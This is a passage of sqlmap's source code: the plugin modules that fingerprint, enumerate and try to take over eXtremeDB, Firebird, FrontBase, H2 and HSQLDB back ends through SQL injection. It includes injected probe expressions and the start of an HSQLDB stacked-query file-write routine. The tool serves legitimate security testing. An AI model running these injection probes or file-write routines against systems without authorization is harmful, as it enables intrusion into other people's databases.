banVer: banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(EXTREMEDB_ALIASES): setDbms(DBMS.EXTREMEDB) return True infoMsg = "testing %s" % DBMS.EXTREMEDB logger.info(infoMsg) result = inject.checkBooleanExpression("signature(NULL)=usignature(NULL)") if result: infoMsg = "confirming %s" % DBMS.EXTREMEDB logger.info(infoMsg) result = inject.checkBooleanExpression("hashcode(NULL)>=0") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.EXTREMEDB logger.warning(warnMsg) return False setDbms(DBMS.EXTREMEDB) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.EXTREMEDB logger.warning(warnMsg) return False def forceDbmsEnum(self): conf.db = ("%s%s" % (DBMS.EXTREMEDB, METADB_SUFFIX)).replace(' ', '_') ================================================ FILE: plugins/dbms/extremedb/syntax.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" True """ return expression ================================================ FILE: plugins/dbms/extremedb/takeover.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def osCmd(self): errMsg = "on eXtremeDB it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on eXtremeDB it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on eXtremeDB it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on eXtremeDB it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/firebird/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import FIREBIRD_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.firebird.enumeration import Enumeration from plugins.dbms.firebird.filesystem import Filesystem from plugins.dbms.firebird.fingerprint import Fingerprint from plugins.dbms.firebird.syntax import Syntax from plugins.dbms.firebird.takeover import Takeover from plugins.generic.misc import Miscellaneous class FirebirdMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Firebird methods """ def __init__(self): self.excludeDbsList = FIREBIRD_SYSTEM_DBS for cls in self.__class__.__bases__: cls.__init__(self) unescaper[DBMS.FIREBIRD] = Syntax.escape ================================================ FILE: plugins/dbms/firebird/connector.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ try: import kinterbasdb except: pass import logging from lib.core.common import getSafeExString from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from lib.core.settings import UNICODE_ENCODING from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: http://kinterbasdb.sourceforge.net/ User guide: http://kinterbasdb.sourceforge.net/dist_docs/usage.html Debian package: python-kinterbasdb License: BSD """ # sample usage: # ./sqlmap.py -d "firebird://sysdba:testpass@/opt/firebird/testdb.fdb" # ./sqlmap.py -d "firebird://sysdba:testpass@127.0.0.1:3050//opt/firebird/testdb.fdb" def connect(self): self.initConnection() if not self.hostname: self.checkFileDb() try: # Reference: http://www.daniweb.com/forums/thread248499.html self.connector = kinterbasdb.connect(host=self.hostname.encode(UNICODE_ENCODING), database=self.db.encode(UNICODE_ENCODING), user=self.user.encode(UNICODE_ENCODING), password=self.password.encode(UNICODE_ENCODING), charset="UTF8") except kinterbasdb.OperationalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except kinterbasdb.OperationalError as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) return None def execute(self, query): try: self.cursor.execute(query) except kinterbasdb.OperationalError as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) except kinterbasdb.Error as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.connector.commit() def select(self, query): self.execute(query) return self.fetchall() ================================================ FILE: plugins/dbms/firebird/enumeration.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def getDbs(self): warnMsg = "on Firebird it is not possible to enumerate databases (use only '--tables')" logger.warning(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on Firebird it is not possible to enumerate the user password hashes" logger.warning(warnMsg) return {} def searchDb(self): warnMsg = "on Firebird it is not possible to search databases" logger.warning(warnMsg) return [] def getHostname(self): warnMsg = "on Firebird it is not possible to enumerate the hostname" logger.warning(warnMsg) def getStatements(self): warnMsg = "on Firebird it is not possible to enumerate the SQL statements" logger.warning(warnMsg) return [] ================================================ FILE: plugins/dbms/firebird/filesystem.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def readFile(self, remoteFile): errMsg = "on Firebird it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on Firebird it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/firebird/fingerprint.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.common import Backend from lib.core.common import Format from lib.core.common import randomRange from lib.core.common import randomStr from lib.core.compat import xrange from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import FIREBIRD_ALIASES from lib.core.settings import METADB_SUFFIX from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.FIREBIRD) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " actVer = Format.getDbms() if not conf.extensiveFp: value += actVer return value actVer = Format.getDbms() + " (%s)" % (self._dialectCheck()) blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") if banVer: if re.search(r"-log$", kb.data.banner or ""): banVer += ", logging enabled" banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def _sysTablesCheck(self): retVal = None table = ( ("1.0", ("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)",)), ("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")), ("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")), ("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")), ("2.5", ("'%s' SIMILAR TO '%s'",)), # Reference: https://firebirdsql.org/refdocs/langrefupd25-similar-to.html ("3.0", ("FALSE IS FALSE",)), # https://www.firebirdsql.org/file/community/conference-2014/pdf/02_fb.2014.whatsnew.30.en.pdf ) for i in xrange(len(table)): version, checks = table[i] failed = False check = checks[randomRange(0, len(checks) - 1)].replace("%d", getUnicode(randomRange(1, 100))).replace("%s", getUnicode(randomStr())) result = inject.checkBooleanExpression(check) if result: retVal = version else: failed = True break if failed: break return retVal def _dialectCheck(self): retVal = None if Backend.getIdentifiedDbms(): result = inject.checkBooleanExpression("EXISTS(SELECT CURRENT_DATE FROM RDB$DATABASE)") retVal = "dialect 3" if result else "dialect 1" return retVal def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(FIREBIRD_ALIASES): setDbms("%s %s" % (DBMS.FIREBIRD, Backend.getVersion())) self.getBanner() return True infoMsg = "testing %s" % DBMS.FIREBIRD logger.info(infoMsg) result = inject.checkBooleanExpression("(SELECT COUNT(*) FROM RDB$DATABASE WHERE [RANDNUM]=[RANDNUM])>0") if result: infoMsg = "confirming %s" % DBMS.FIREBIRD logger.info(infoMsg) result = inject.checkBooleanExpression("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD logger.warning(warnMsg) return False setDbms(DBMS.FIREBIRD) infoMsg = "actively fingerprinting %s" % DBMS.FIREBIRD logger.info(infoMsg) version = self._sysTablesCheck() if version is not None: Backend.setVersion(version) setDbms("%s %s" % (DBMS.FIREBIRD, version)) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD logger.warning(warnMsg) return False def forceDbmsEnum(self): conf.db = "%s%s" % (DBMS.FIREBIRD, METADB_SUFFIX) if conf.tbl: conf.tbl = conf.tbl.upper() ================================================ FILE: plugins/dbms/firebird/syntax.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import isDBMSVersionAtLeast from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): """ >>> from lib.core.common import Backend >>> Backend.setVersion('2.0') ['2.0'] >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" True >>> Backend.setVersion('2.1') ['2.1'] >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT ASCII_CHAR(97)||ASCII_CHAR(98)||ASCII_CHAR(99)||ASCII_CHAR(100)||ASCII_CHAR(101)||ASCII_CHAR(102)||ASCII_CHAR(103)||ASCII_CHAR(104) FROM foobar" True """ def escaper(value): return "||".join("ASCII_CHAR(%d)" % _ for _ in getOrds(value)) retVal = expression if isDBMSVersionAtLeast("2.1"): retVal = Syntax._escape(expression, quote, escaper) return retVal ================================================ FILE: plugins/dbms/firebird/takeover.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def osCmd(self): errMsg = "on Firebird it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on Firebird it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on Firebird it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on Firebird it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/frontbase/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import FRONTBASE_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.frontbase.enumeration import Enumeration from plugins.dbms.frontbase.filesystem import Filesystem from plugins.dbms.frontbase.fingerprint import Fingerprint from plugins.dbms.frontbase.syntax import Syntax from plugins.dbms.frontbase.takeover import Takeover from plugins.generic.misc import Miscellaneous class FrontBaseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines FrontBase methods """ def __init__(self): self.excludeDbsList = FRONTBASE_SYSTEM_DBS for cls in self.__class__.__bases__: cls.__init__(self) unescaper[DBMS.FRONTBASE] = Syntax.escape ================================================ FILE: plugins/dbms/frontbase/connector.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): def connect(self): errMsg = "on FrontBase it is not (currently) possible to establish a " errMsg += "direct connection" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/frontbase/enumeration.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def getBanner(self): warnMsg = "on FrontBase it is not possible to get the banner" logger.warning(warnMsg) return None def getPrivileges(self, *args, **kwargs): warnMsg = "on FrontBase it is not possible to enumerate the user privileges" logger.warning(warnMsg) return {} def getHostname(self): warnMsg = "on FrontBase it is not possible to enumerate the hostname" logger.warning(warnMsg) def getStatements(self): warnMsg = "on FrontBase it is not possible to enumerate the SQL statements" logger.warning(warnMsg) return [] ================================================ FILE: plugins/dbms/frontbase/filesystem.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def readFile(self, remoteFile): errMsg = "on FrontBase it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on FrontBase it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/frontbase/fingerprint.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import FRONTBASE_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.FRONTBASE) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.FRONTBASE return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") if banVer: banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(FRONTBASE_ALIASES): setDbms(DBMS.FRONTBASE) return True infoMsg = "testing %s" % DBMS.FRONTBASE logger.info(infoMsg) result = inject.checkBooleanExpression("(SELECT degradedTransactions FROM INFORMATION_SCHEMA.IO_STATISTICS)>=0") if result: infoMsg = "confirming %s" % DBMS.FRONTBASE logger.info(infoMsg) result = inject.checkBooleanExpression("(SELECT TOP (0,1) file_version FROM INFORMATION_SCHEMA.FRAGMENTATION)>=0") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.FRONTBASE logger.warning(warnMsg) return False setDbms(DBMS.FRONTBASE) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.FRONTBASE logger.warning(warnMsg) return False ================================================ FILE: plugins/dbms/frontbase/syntax.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" True """ return expression ================================================ FILE: plugins/dbms/frontbase/takeover.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def osCmd(self): errMsg = "on FrontBase it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on FrontBase it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on FrontBase it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on FrontBase it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/h2/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import H2_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.h2.enumeration import Enumeration from plugins.dbms.h2.filesystem import Filesystem from plugins.dbms.h2.fingerprint import Fingerprint from plugins.dbms.h2.syntax import Syntax from plugins.dbms.h2.takeover import Takeover from plugins.generic.misc import Miscellaneous class H2Map(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines H2 methods """ def __init__(self): self.excludeDbsList = H2_SYSTEM_DBS for cls in self.__class__.__bases__: cls.__init__(self) unescaper[DBMS.H2] = Syntax.escape ================================================ FILE: plugins/dbms/h2/connector.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): def connect(self): errMsg = "on H2 it is not (currently) possible to establish a " errMsg += "direct connection" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/h2/enumeration.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import unArrayizeValue from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import DBMS from lib.core.settings import H2_DEFAULT_SCHEMA from lib.request import inject from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def getBanner(self): if not conf.getBanner: return if kb.data.banner is None: infoMsg = "fetching banner" logger.info(infoMsg) query = queries[DBMS.H2].banner.query kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=True)) return kb.data.banner def getPrivileges(self, *args, **kwargs): warnMsg = "on H2 it is not possible to enumerate the user privileges" logger.warning(warnMsg) return {} def getHostname(self): warnMsg = "on H2 it is not possible to enumerate the hostname" logger.warning(warnMsg) def getCurrentDb(self): return H2_DEFAULT_SCHEMA def getPasswordHashes(self): warnMsg = "on H2 it is not possible to enumerate password hashes" logger.warning(warnMsg) return {} def getStatements(self): warnMsg = "on H2 it is not possible to enumerate the SQL statements" logger.warning(warnMsg) return [] ================================================ FILE: plugins/dbms/h2/filesystem.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def readFile(self, remoteFile): errMsg = "on H2 it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on H2 it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/h2/fingerprint.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import FORK from lib.core.enums import HASHDB_KEYS from lib.core.session import setDbms from lib.core.settings import H2_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.H2) def getFingerprint(self): fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) if fork is None: if inject.checkBooleanExpression("EXISTS(SELECT * FROM INFORMATION_SCHEMA.SCHEMATA WHERE SCHEMA_NAME='IGNITE')"): fork = FORK.IGNITE else: fork = "" hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.H2 if fork: value += " (%s fork)" % fork return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") if banVer: banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) if fork: value += "\n%sfork fingerprint: %s" % (blank, fork) return value def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(H2_ALIASES): setDbms("%s %s" % (DBMS.H2, Backend.getVersion())) self.getBanner() return True infoMsg = "testing %s" % DBMS.H2 logger.info(infoMsg) result = inject.checkBooleanExpression("ZERO()=0") if result: infoMsg = "confirming %s" % DBMS.H2 logger.info(infoMsg) result = inject.checkBooleanExpression("LEAST(ROUNDMAGIC(PI()),3)=3") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.H2 logger.warning(warnMsg) return False else: setDbms(DBMS.H2) result = inject.checkBooleanExpression("JSON_OBJECT() IS NOT NULL") version = '2' if result else '1' Backend.setVersion(version) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.H2 logger.warning(warnMsg) return False def getHostname(self): warnMsg = "on H2 it is not possible to enumerate the hostname" logger.warning(warnMsg) ================================================ FILE: plugins/dbms/h2/syntax.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar" True """ def escaper(value): return "||".join("CHAR(%d)" % _ for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) ================================================ FILE: plugins/dbms/h2/takeover.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def osCmd(self): errMsg = "on H2 it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on H2 it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on H2 it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on H2 it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/hsqldb/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import HSQLDB_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.hsqldb.enumeration import Enumeration from plugins.dbms.hsqldb.filesystem import Filesystem from plugins.dbms.hsqldb.fingerprint import Fingerprint from plugins.dbms.hsqldb.syntax import Syntax from plugins.dbms.hsqldb.takeover import Takeover from plugins.generic.misc import Miscellaneous class HSQLDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines HSQLDB methods """ def __init__(self): self.excludeDbsList = HSQLDB_SYSTEM_DBS for cls in self.__class__.__bases__: cls.__init__(self) unescaper[DBMS.HSQLDB] = Syntax.escape ================================================ FILE: plugins/dbms/hsqldb/connector.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ try: import jaydebeapi import jpype except: pass import logging from lib.core.common import checkFile from lib.core.common import getSafeExString from lib.core.common import readInput from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/ User guide: https://pypi.python.org/pypi/JayDeBeApi/#usage & http://jpype.sourceforge.net/doc/user-guide/userguide.html API: - Debian package: - License: LGPL & Apache License 2.0 """ def connect(self): self.initConnection() try: msg = "please enter the location of 'hsqldb.jar'? " jar = readInput(msg) checkFile(jar) args = "-Djava.class.path=%s" % jar jvm_path = jpype.getDefaultJVMPath() jpype.startJVM(jvm_path, args) except Exception as ex: raise SqlmapConnectionException(getSafeExString(ex)) try: driver = 'org.hsqldb.jdbc.JDBCDriver' connection_string = 'jdbc:hsqldb:mem:.' # 'jdbc:hsqldb:hsql://%s/%s' % (self.hostname, self.db) self.connector = jaydebeapi.connect(driver, connection_string, str(self.user), str(self.password)) except Exception as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except Exception as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) return None def execute(self, query): retVal = False try: self.cursor.execute(query) retVal = True except Exception as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) self.connector.commit() return retVal def select(self, query): retVal = None upper_query = query.upper() if query and not (upper_query.startswith("SELECT ") or upper_query.startswith("VALUES ")): query = "VALUES %s" % query if query and upper_query.startswith("SELECT ") and " FROM " not in upper_query: query = "%s FROM (VALUES(0))" % query self.cursor.execute(query) retVal = self.cursor.fetchall() return retVal ================================================ FILE: plugins/dbms/hsqldb/enumeration.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import unArrayizeValue from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import DBMS from lib.core.settings import HSQLDB_DEFAULT_SCHEMA from lib.request import inject from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def getBanner(self): if not conf.getBanner: return if kb.data.banner is None: infoMsg = "fetching banner" logger.info(infoMsg) query = queries[DBMS.HSQLDB].banner.query kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=True)) return kb.data.banner def getPrivileges(self, *args, **kwargs): warnMsg = "on HSQLDB it is not possible to enumerate the user privileges" logger.warning(warnMsg) return {} def getHostname(self): warnMsg = "on HSQLDB it is not possible to enumerate the hostname" logger.warning(warnMsg) def getCurrentDb(self): return HSQLDB_DEFAULT_SCHEMA def getStatements(self): warnMsg = "on HSQLDB it is not possible to enumerate the SQL statements" logger.warning(warnMsg) return [] ================================================ FILE: plugins/dbms/hsqldb/filesystem.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import randomStr from lib.core.data import kb from lib.core.data import logger from lib.core.decorators import stackedmethod from lib.core.enums import PLACE from lib.request import inject from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def readFile(self, remoteFile): errMsg = "on HSQLDB it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) @stackedmethod def stackedWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False): func_name = randomStr() max_bytes = 1024 * 1024 debugMsg = "creating JLP procedure '%s'" % func_name 